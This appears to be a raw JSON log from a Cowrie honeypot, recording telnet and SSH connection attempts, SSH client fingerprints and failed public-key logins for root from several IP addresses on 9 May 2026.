{"eventid":"cowrie.session.closed","duration":14.414314270019531,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:47.715786Z","src_ip":"147.182.143.59","session":"c2512471f72a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.64318633079529,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:48.002371Z","src_ip":"45.58.127.90","session":"c61e1c03a7d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.164.78.153","src_port":55791,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2d515a475f8","protocol":"telnet","message":"New connection: 79.164.78.153:55791 (10.17.0.5:23) [session: a2d515a475f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:57.318864Z"}
{"eventid":"cowrie.session.closed","duration":41.293917655944824,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:59.533628Z","src_ip":"45.58.127.90","session":"993c892c9cb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.125","src_port":52890,"dst_ip":"10.17.0.5","dst_port":22,"session":"235d1cc7bd8d","protocol":"ssh","message":"New connection: 208.87.243.125:52890 (10.17.0.5:22) [session: 235d1cc7bd8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:01.581910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:01.588912Z","src_ip":"208.87.243.125","session":"235d1cc7bd8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:01.667467Z","src_ip":"208.87.243.125","session":"235d1cc7bd8d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:7b:ed:14:78:93:65:b7:7e:c2:99:08:44:3b:37:b0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJrZa+i3R2IDH6/dTjXVBOwp7qWz2KB5EQ/+jIuhDVRr","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a8:7b:ed:14:78:93:65:b7:7e:c2:99:08:44:3b:37:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:02.025242Z","src_ip":"208.87.243.125","session":"235d1cc7bd8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:7b:ed:14:78:93:65:b7:7e:c2:99:08:44:3b:37:b0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJrZa+i3R2IDH6/dTjXVBOwp7qWz2KB5EQ/+jIuhDVRr","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:02.030157Z","src_ip":"208.87.243.125","session":"235d1cc7bd8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37302,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f9ba7fc233c","protocol":"telnet","message":"New connection: 147.182.143.59:37302 (159.203.135.109:23) [session: 4f9ba7fc233c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:02.040857Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:80:99:a8:6d:9c:8c:44:74:54:15:a5:b1:0e:08:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7smhyTxAjCjlIpd+rn4If/ibbZctDS3B7sdq5Xeyi/F36eSBQKDRCutwdHHKBSl8PRTFe67fLVdWFIKSLaDGaBBVwtBL+BzN09dD8gV0DVASovo9tosD5nljqM55QPjKiMnEzq0xcdP0cUY4t1IMpVXuxVhsbTxe+nG6sUymMyWwK6E3gfYtC4/ACqFRWJUtMzE45AvtkUfWrM7+ykbutA8ciUg9Unf65504XV63PJ/+XDJyzweFfOWqGsB+K6kl0fD8t7E1fwLqDEZVnJf5ClObma4njj0Qcm2j7bsIXdPcJgmBZU7magSTxtKhreMFQiszTIzeGEZf+582rwySRx2OADXG9WwCrpgWUBJF4JT2ZJuXPDri5Cgj/PHJMkqayaTBWDE1YcGfSMwKV2jHLVrnIpSQGg2jbFULEk2V5uLIkCWV8GBkaAx6JCwnny1ZgG7X7KvD66WruDSVJvLritCwFh+kZWQ9hOwXtVAoY6XoU6YyMbgURjut7TcabADSDYbS9RsnwM3ZSGXYEn8B45FupGc7vuymxu5e+3GBeyFl/0/Jsrx0sg7n00KBuSELHwpEVw+C9YnoSyK5FJVbMnhR5f0S5AgzzToLCEN6Mc15Qf8DHsBmoWwjk2dz+nQxMnB/6HI6617sGM5rIFtZMiOrFVhq38H+FVFDpFYWplQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:80:99:a8:6d:9c:8c:44:74:54:15:a5:b1:0e:08:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:02.109404Z","src_ip":"208.87.243.125","session":"235d1cc7bd8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:80:99:a8:6d:9c:8c:44:74:54:15:a5:b1:0e:08:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7smhyTxAjCjlIpd+rn4If/ibbZctDS3B7sdq5Xeyi/F36eSBQKDRCutwdHHKBSl8PRTFe67fLVdWFIKSLaDGaBBVwtBL+BzN09dD8gV0DVASovo9tosD5nljqM55QPjKiMnEzq0xcdP0cUY4t1IMpVXuxVhsbTxe+nG6sUymMyWwK6E3gfYtC4/ACqFRWJUtMzE45AvtkUfWrM7+ykbutA8ciUg9Unf65504XV63PJ/+XDJyzweFfOWqGsB+K6kl0fD8t7E1fwLqDEZVnJf5ClObma4njj0Qcm2j7bsIXdPcJgmBZU7magSTxtKhreMFQiszTIzeGEZf+582rwySRx2OADXG9WwCrpgWUBJF4JT2ZJuXPDri5Cgj/PHJMkqayaTBWDE1YcGfSMwKV2jHLVrnIpSQGg2jbFULEk2V5uLIkCWV8GBkaAx6JCwnny1ZgG7X7KvD66WruDSVJvLritCwFh+kZWQ9hOwXtVAoY6XoU6YyMbgURjut7TcabADSDYbS9RsnwM3ZSGXYEn8B45FupGc7vuymxu5e+3GBeyFl/0/Jsrx0sg7n00KBuSELHwpEVw+C9YnoSyK5FJVbMnhR5f0S5AgzzToLCEN6Mc15Qf8DHsBmoWwjk2dz+nQxMnB/6HI6617sGM5rIFtZMiOrFVhq38H+FVFDpFYWplQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:02.115170Z","src_ip":"208.87.243.125","session":"235d1cc7bd8d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:9b:57:11:92:79:ee:7f:a5:06:b2:3a:b1:47:9c:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzZiBfOHqV1V7URkcoMFcqfDEEjD7K/DGR7/Lr5RNeMpX3Ne0fRSoMo5WPHdCfpTM0+CjNROqtlUjQxsUaGN+kuxyiPEBrFbd2k79BLZmFyMyneQ8Lwe1lBlOTGSAInfGJ+sW6q9bxnuv9An9VVdT2Zk/+3C3CtTGbqpJYnaBLluHC2JGpN2hMCFNUhM7whqtLjM5ixRyWMfik/oit2jO7zun01OJI1sEsc4hZhyEbxmcacon35e9oYb8nJfE7ZGL9nyN5R+SHeks890YTckJwrBDHpthOSCOHboh5eUhNGEiw5pa/maGQJeTAnPdTkVSBLOESbPcDS14FtmE7gehDgHNHM7ZZr+zKJP0EQ2pPJXQgpF9RF2C0WuWR5NVGK+WSSjZTLneGlFfT1vELVb6/4nZQH9QFERvkVF4lvwGD56fTjV6i/DreBwsGweXWqC+orpSv+zPF4TShYjTzY9WSSg7FIo2NJHhq2AVd99V11gbqyO+Vl/KdWRyMBo+47hKXyGsa77Bu72y/kYCS/4EE08COoQc5W4kaIG8WGhQkuopFx0WGriMZT+j3Y+h+o3srs24TlSSP1Z1Ro811EoJJTegkvu7GmYJg83QP/d5GuewRt3fW6mRReogTxGtELRVc97GqU1PcVOuKvLpKo0CCm2R0AbwU3kHrHM/m5hqbGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:9b:57:11:92:79:ee:7f:a5:06:b2:3a:b1:47:9c:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:02.194096Z","src_ip":"208.87.243.125","session":"235d1cc7bd8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:9b:57:11:92:79:ee:7f:a5:06:b2:3a:b1:47:9c:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzZiBfOHqV1V7URkcoMFcqfDEEjD7K/DGR7/Lr5RNeMpX3Ne0fRSoMo5WPHdCfpTM0+CjNROqtlUjQxsUaGN+kuxyiPEBrFbd2k79BLZmFyMyneQ8Lwe1lBlOTGSAInfGJ+sW6q9bxnuv9An9VVdT2Zk/+3C3CtTGbqpJYnaBLluHC2JGpN2hMCFNUhM7whqtLjM5ixRyWMfik/oit2jO7zun01OJI1sEsc4hZhyEbxmcacon35e9oYb8nJfE7ZGL9nyN5R+SHeks890YTckJwrBDHpthOSCOHboh5eUhNGEiw5pa/maGQJeTAnPdTkVSBLOESbPcDS14FtmE7gehDgHNHM7ZZr+zKJP0EQ2pPJXQgpF9RF2C0WuWR5NVGK+WSSjZTLneGlFfT1vELVb6/4nZQH9QFERvkVF4lvwGD56fTjV6i/DreBwsGweXWqC+orpSv+zPF4TShYjTzY9WSSg7FIo2NJHhq2AVd99V11gbqyO+Vl/KdWRyMBo+47hKXyGsa77Bu72y/kYCS/4EE08COoQc5W4kaIG8WGhQkuopFx0WGriMZT+j3Y+h+o3srs24TlSSP1Z1Ro811EoJJTegkvu7GmYJg83QP/d5GuewRt3fW6mRReogTxGtELRVc97GqU1PcVOuKvLpKo0CCm2R0AbwU3kHrHM/m5hqbGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:02.198734Z","src_ip":"208.87.243.125","session":"235d1cc7bd8d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:ea:9c:e8:6e:b6:ed:32:d4:d6:60:4c:2c:72:65:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJRvOpbHQOc7lnasqHE/fTuyIO2oFsh0Ay/y83RyfdDCM6QMHUMzjDs95MqeV5A7JCDBMDViaBkqdxFC0wZDn6y42psepMzir+ZCJjbY0YsjkIx/+F7J6e/pAbFK1/cWZtSF57td4OglBt8vCU0FS0AtHSq8zey7nFFvRAGr6x4/5tuuH1+CuKYiKKl8xbgZU55wEvaBXpQjzcPA2ftiR5HIamwjYdlObpKJQ9nv50Lymt7cq/V9P0y7HRduMxAWtS3cZXgRNSOI9W9OO+HWdlvOj4/OCVl8gAZwDeNHWkbzOjEkCOPV58WV9bHGU5H9YgBezfIm9bbZfZUZEyRY4QyZTUREBYBiu1fEOlouFssFLYRelHCJ7uXVfluEpeeJxGjexaNGgdL0tlCTM2CSUNrTOJuLKYTm+jbtFbA5WaWg2XR4i+/YPYf7rDHUxE7g+zkc0O0gymtYpolGgbA0UM038yGRPDXWXdTFv3YxKHQjIzlS/nqZjr6Wam80Yvqt+zfM85EJgQOO7fMUztJ9isWhSw84W7aZWpEt1IheI/FlDfmPxK9q397vDO5B8gXSSwG6O8VGDYu+eFlsdTKzuZRxV2/K8u4j4NC9IemINqpC6GTSLD4WgaS6dSH4+1D+drRSDInuDHUNm/W3RO6INHI3nAxZKlxLpiBnYMB3/4ZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:ea:9c:e8:6e:b6:ed:32:d4:d6:60:4c:2c:72:65:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:02.278018Z","src_ip":"208.87.243.125","session":"235d1cc7bd8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:ea:9c:e8:6e:b6:ed:32:d4:d6:60:4c:2c:72:65:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJRvOpbHQOc7lnasqHE/fTuyIO2oFsh0Ay/y83RyfdDCM6QMHUMzjDs95MqeV5A7JCDBMDViaBkqdxFC0wZDn6y42psepMzir+ZCJjbY0YsjkIx/+F7J6e/pAbFK1/cWZtSF57td4OglBt8vCU0FS0AtHSq8zey7nFFvRAGr6x4/5tuuH1+CuKYiKKl8xbgZU55wEvaBXpQjzcPA2ftiR5HIamwjYdlObpKJQ9nv50Lymt7cq/V9P0y7HRduMxAWtS3cZXgRNSOI9W9OO+HWdlvOj4/OCVl8gAZwDeNHWkbzOjEkCOPV58WV9bHGU5H9YgBezfIm9bbZfZUZEyRY4QyZTUREBYBiu1fEOlouFssFLYRelHCJ7uXVfluEpeeJxGjexaNGgdL0tlCTM2CSUNrTOJuLKYTm+jbtFbA5WaWg2XR4i+/YPYf7rDHUxE7g+zkc0O0gymtYpolGgbA0UM038yGRPDXWXdTFv3YxKHQjIzlS/nqZjr6Wam80Yvqt+zfM85EJgQOO7fMUztJ9isWhSw84W7aZWpEt1IheI/FlDfmPxK9q397vDO5B8gXSSwG6O8VGDYu+eFlsdTKzuZRxV2/K8u4j4NC9IemINqpC6GTSLD4WgaS6dSH4+1D+drRSDInuDHUNm/W3RO6INHI3nAxZKlxLpiBnYMB3/4ZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:02.282182Z","src_ip":"208.87.243.125","session":"235d1cc7bd8d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:1a:95:62:dc:07:db:1e:fe:4c:0c:5c:91:f3:c3:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1wDU0RaYViqvtdk3VfCuLhH2pCjRBl7sMvHzO6cX/D06h7RT3+z1Lls9iXLYy5AZBtBus9RV97MwM+x4sIuQsdKudAgbNal4qSJhOEGOt41FYQsMEU5vlTI1gjOzekfsk7x+HsYqqEKi+ZsuxLwHDh8VqMba+LFnf+EunrBbvgAnqRO+ABJb6ZNqsLS6y0fUrEuEoW+dl3Y6VGXYErCCHonU/jk2tUeY2Tq/70NF9mM+kh4JutD/wo9hTMKaVMqn4rrvp4OD86Ysh1RuWP6wUHKxyN4q8h3tLf7DROW3syFFzB1yXPqaMiFi5NJYZVYc/qPi18ITiM08y1hSBIPrWjNq8G+QfS7S0Rr3nlHK9yoDt3Rd8QDU1H3UTE+HX7ZACWPWWKPWnwa4EbgCJyJtFUbNC+u3xvUZbdD6DM2rIrdxw+6bGW4gv8hj0fUPIGUsWbreyX/cckncWz2KM74ghC5sD6KZI7smt7rgdCcurSE0IPY/Z/1UJJCLqBa2XTdK976ml/cu1cHJLggtf3wAZH+wyFPLvf/8OuI0/vw14pQciHlCvHypqFy00OsGVt0PD5iHZ1fAOEjgYsX1Y1qKmCJPkV02DuX0gwCCRXAhfDUOZ4KCScHxB8TX3T3NH5WrUGyTA0cEIFHMfCroakz65nbgRCFjossczDf0QTcLuGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:1a:95:62:dc:07:db:1e:fe:4c:0c:5c:91:f3:c3:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:02.362508Z","src_ip":"208.87.243.125","session":"235d1cc7bd8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:1a:95:62:dc:07:db:1e:fe:4c:0c:5c:91:f3:c3:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1wDU0RaYViqvtdk3VfCuLhH2pCjRBl7sMvHzO6cX/D06h7RT3+z1Lls9iXLYy5AZBtBus9RV97MwM+x4sIuQsdKudAgbNal4qSJhOEGOt41FYQsMEU5vlTI1gjOzekfsk7x+HsYqqEKi+ZsuxLwHDh8VqMba+LFnf+EunrBbvgAnqRO+ABJb6ZNqsLS6y0fUrEuEoW+dl3Y6VGXYErCCHonU/jk2tUeY2Tq/70NF9mM+kh4JutD/wo9hTMKaVMqn4rrvp4OD86Ysh1RuWP6wUHKxyN4q8h3tLf7DROW3syFFzB1yXPqaMiFi5NJYZVYc/qPi18ITiM08y1hSBIPrWjNq8G+QfS7S0Rr3nlHK9yoDt3Rd8QDU1H3UTE+HX7ZACWPWWKPWnwa4EbgCJyJtFUbNC+u3xvUZbdD6DM2rIrdxw+6bGW4gv8hj0fUPIGUsWbreyX/cckncWz2KM74ghC5sD6KZI7smt7rgdCcurSE0IPY/Z/1UJJCLqBa2XTdK976ml/cu1cHJLggtf3wAZH+wyFPLvf/8OuI0/vw14pQciHlCvHypqFy00OsGVt0PD5iHZ1fAOEjgYsX1Y1qKmCJPkV02DuX0gwCCRXAhfDUOZ4KCScHxB8TX3T3NH5WrUGyTA0cEIFHMfCroakz65nbgRCFjossczDf0QTcLuGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:02.367913Z","src_ip":"208.87.243.125","session":"235d1cc7bd8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:02.447950Z","src_ip":"208.87.243.125","session":"235d1cc7bd8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53862,"dst_ip":"10.17.0.5","dst_port":23,"session":"24de62e0f1e5","protocol":"telnet","message":"New connection: 45.58.127.90:53862 (10.17.0.5:23) [session: 24de62e0f1e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:03.703440Z"}
{"eventid":"cowrie.session.closed","duration":43.34616708755493,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:09.272059Z","src_ip":"45.58.127.90","session":"d49d5666452c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.232847690582275,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:10.551533Z","src_ip":"79.164.78.153","session":"a2d515a475f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.79620885848999,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:11.836921Z","src_ip":"147.182.143.59","session":"4f9ba7fc233c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.157.176","src_port":54574,"dst_ip":"10.17.0.5","dst_port":22,"session":"94a3101e1de2","protocol":"ssh","message":"New connection: 184.154.157.176:54574 (10.17.0.5:22) [session: 94a3101e1de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:12.061782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:12.067543Z","src_ip":"184.154.157.176","session":"94a3101e1de2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:12.095667Z","src_ip":"184.154.157.176","session":"94a3101e1de2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:5e:82:38:65:d7:17:a7:c2:53:56:51:33:fe:4d:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBI0FPMHJSOpzPmg6sr10xi+Yayxm/4y20yi4kDY392SrORV3U9AKqcKbLbhfBuMz/4Z7iiFUL7RLyw0m9XUCKq2rMEIzVfDAp/nzECqjXWMkpngVm1JqS4kIfiv1pY2rHfpbdWYWDSUpgk+Ew/LKU2JKzXnLNhZJ+39vXha06KgYG+J7Otpe9N+/GzIo+lZGx9Ji8I0++wdFmfmSIPpQHTWZH76Dv7mq/Mfl3+HM04q/nCJB4b1WM5FoCfUkTNXjTNA/ZDUPerKdrnY7QZI1FnxoWfhGyTZhZj4xmfq04kgy9nV7lHMHwfCms+KEELMSWmLcBOuvq5NMWkiF9zyoX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:5e:82:38:65:d7:17:a7:c2:53:56:51:33:fe:4d:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:12.213902Z","src_ip":"184.154.157.176","session":"94a3101e1de2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:5e:82:38:65:d7:17:a7:c2:53:56:51:33:fe:4d:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBI0FPMHJSOpzPmg6sr10xi+Yayxm/4y20yi4kDY392SrORV3U9AKqcKbLbhfBuMz/4Z7iiFUL7RLyw0m9XUCKq2rMEIzVfDAp/nzECqjXWMkpngVm1JqS4kIfiv1pY2rHfpbdWYWDSUpgk+Ew/LKU2JKzXnLNhZJ+39vXha06KgYG+J7Otpe9N+/GzIo+lZGx9Ji8I0++wdFmfmSIPpQHTWZH76Dv7mq/Mfl3+HM04q/nCJB4b1WM5FoCfUkTNXjTNA/ZDUPerKdrnY7QZI1FnxoWfhGyTZhZj4xmfq04kgy9nV7lHMHwfCms+KEELMSWmLcBOuvq5NMWkiF9zyoX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:03:12.218455Z","src_ip":"184.154.157.176","session":"94a3101e1de2","protocol":"ssh"}
